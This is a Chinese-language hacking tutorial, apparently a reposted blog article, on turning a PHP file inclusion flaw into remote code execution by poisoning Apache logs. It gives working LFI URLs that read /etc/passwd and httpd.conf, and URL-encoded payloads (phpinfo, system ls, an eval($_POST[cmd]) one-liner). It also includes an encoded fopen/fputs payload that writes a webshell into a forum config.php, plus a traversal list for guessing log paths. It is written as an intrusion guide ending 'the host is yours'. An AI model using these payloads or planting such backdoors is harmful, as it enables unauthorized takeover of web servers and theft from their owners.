天天看點

關于php包含Apache日志的随想

文章作者:zizzy

關于php包含Apache日志的利用,其實也就是利用送出的網址裡有php語句,然後再被Apache伺服器的日志記錄,然後php再去包含執行,進而包含了去執行。當然,這種辦法最大的弊端是Apache日志肯定會過大,回應的時候當然會逾時什麼的,是以也是受條件限制的。全當一種研究算了。下面是我的測試過程,我覺得很有意思,你也看看。

比如說,在一個php存在包含漏洞就像這樣,存在一句php包含漏洞的語句

<? include($zizzy); ?> //包含變量$zizzy

你可以

<a href="http://xxx.com/z.php?zizzy=/etc/inetd.conf">http://xxx.com/z.php?zizzy=/etc/inetd.conf</a>

<a href="http://xxx.com/z.php?zizzy=/proc/cpuinfo">http://xxx.com/z.php?zizzy=/proc/cpuinfo</a>

<a href="http://xxx.com/z.php?zizzy=/etc/passwd">http://xxx.com/z.php?zizzy=/etc/passwd</a>

就可以利用包含語句來檢視一些系統環境和密碼檔檔案。

那麼關于日志包含下面我們來看:

比如我們的Apache的伺服器配置檔案位置在這裡

/usr/local/apache/conf/httpd.conf

那麼我們來包含一下httpd.conf,來看下路徑資訊什麼的

<a href="http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf">http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf</a>

讀出Apache的配置資訊,這裡列出部分資訊。

&lt;VirtualHost 218.63.89.2&gt;

User #3

Group silver

DocumentRoot /home/virtual/www.xxx.com

ServerAlias xxx.com

ErrorLog /home/virtual/www.xxx.com/logs/www-error_log

CustomLog /home/virtual/www.xxx.com/logs/www-access_log common

ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/

Alias /icons/ /home/virtual/www.xxx.com/icons

&lt;/VirtualHost&gt;

就可以讀出Apache的錯誤日志記錄

[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not

exist: /home/virtual/www.xxx.com/hack.php

[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not

exist: /home/virtual/www.xxx.com/111111111.php

[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not

exist: /home/virtual/www.xxx.com/22222.php3

[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke

directory as script: /home/virtual/www.xxx.com/forum

[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke

directory as script: /home/virtual/www.xxx.com/blog

[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke

directory as script: /home/virtual/www.xxx.com/kkkkkkkk

而資料日志/home/virtual/www.xxx.com/logs/www-access_log也是一樣的,一樣可以讀出來,隻不過檔案會很大,那也沒意思測試下去了,那怎麼利用呢。

比如我們送出要送出這句,&lt;?phpinfo();?&gt; //檢視php的相關資訊

在這裡,我們隻能送出URL編碼模式,因為我在測試中發現,&lt;?的标記并不被記錄,隻有轉換成URL編碼送出才會被完整記錄。

在這裡%3C%3Fphpinfo%28%29%3B%3F%3E這句就是轉換過了的&lt;?phpinfo();?&gt;,我們送出

<a href="http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E">http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E</a>

這樣肯定會報出錯找不到頁面,而一出錯就被記在錯誤日志裡了

<a href="http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log">http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log</a>

這樣這個日志檔案就被包含成了phpinfo的資訊,而回顯也就成了一個顯示php資訊的頁面。

如果可以的話(能夠執行系統指令,也就是safe_mode開着的時候),

這樣子也不錯,

&lt;?system("ls+-la+/home");?&gt; //執行指令列出home下的檔案清單,記得轉換為URL格式哦。

/home/

total 9

這樣就列出了home下的檔案

或者直接一句話木馬&lt;?eval($_POST[cmd]);?&gt;,

這樣轉換後就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 這樣的格式。

我們送出

<a href="http://www.xxx.com/%3C%3Feval%28%24_POST%5Bcmd%5D%29%3B%3F%3E">http://www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E</a>

再用lanker的一句話木馬用戶端一連就OK了。

因為上面那個很不實際,我在測試中發現日志動不動就是幾十兆,那樣玩起來也沒意思了。下面想的再深入一點也就是我們寫入一個很實際的webshell來用,也比上面那種慢的要死好很多。

比如還是這句一句話木馬

&lt;?eval($_POST[cmd]);?&gt;

到這裡你也許就想到了,這是個很不錯的辦法。接着看,如何寫入就成了個問題,用這句,

fopen打開/home/virtual/www.xxx.com/forum/config.php這個檔案,然後寫入&lt;?eval($_POST[cmd]);?&gt;這個一句話木馬服務端語句。連起來表達成php語句就是

&lt;?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"&lt;?eval($_POST[cmd]);?&gt;");fclose($fp);?&gt; //在config.php裡寫入一句木馬語句

我們送出這句,再讓Apache記錄到錯誤日志裡,再包含就成功寫入shell,記得一定要轉換成URL格式才成功。

轉換為

%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

<a href="http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww.xxx.com%2Fforum%2Fconfig.php%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E">http://xxx.com/%3C%3F%24fp%3Dfop ... 28%24fp%29%3B%3F%3E</a>

這樣就錯誤日志裡就記錄下了這行寫入webshell的代碼。

我們再來包含日志,送出

這樣webshell就寫入成功了,config.php裡就寫入一句木馬語句

OK.

直接用lanker的用戶端一連,主機就是你的了。

PS:上面講的,前提是檔案夾權限必須可寫 ,一定要-rwxrwxrwx(777)才能繼續,這裡直接用上面列出的目錄來檢視。上面講的都是在知道日志路徑的情況下的利用

其他的日志路徑,你可以去猜,也可以參照這裡。

附:收集的一些日志路徑

../../../../../../../../../../var/log/httpd/access_log

../../../../../../../../../../var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../../../../etc/httpd/logs/acces_log

../../../../../../../../../../etc/httpd/logs/acces.log

../../../../../../../../../../etc/httpd/logs/error_log

../../../../../../../../../../etc/httpd/logs/error.log

../../../../../../../../../../var/www/logs/access_log

../../../../../../../../../../var/www/logs/access.log

../../../../../../../../../../usr/local/apache/logs/access_log

../../../../../../../../../../usr/local/apache/logs/access.log

../../../../../../../../../../var/log/apache/access_log

../../../../../../../../../../var/log/apache/access.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/www/logs/error_log

../../../../../../../../../../var/www/logs/error.log

../../../../../../../../../../usr/local/apache/logs/error_log

../../../../../../../../../../usr/local/apache/logs/error.log

../../../../../../../../../../var/log/apache/error_log

../../../../../../../../../../var/log/apache/error.log

../../../../../../../../../../var/log/error_log

/var/log/httpd/access_log

/var/log/httpd/error_log

/etc/httpd/logs/acces_log

/etc/httpd/logs/acces.log

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/var/www/logs/access_log

/var/www/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/access.log

/var/log/apache/access_log

/var/log/apache/access.log

/var/log/access_log

/var/www/logs/error_log

/var/www/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/apache/logs/error.log

/var/log/apache/error_log

/var/log/apache/error.log

/var/log/error_log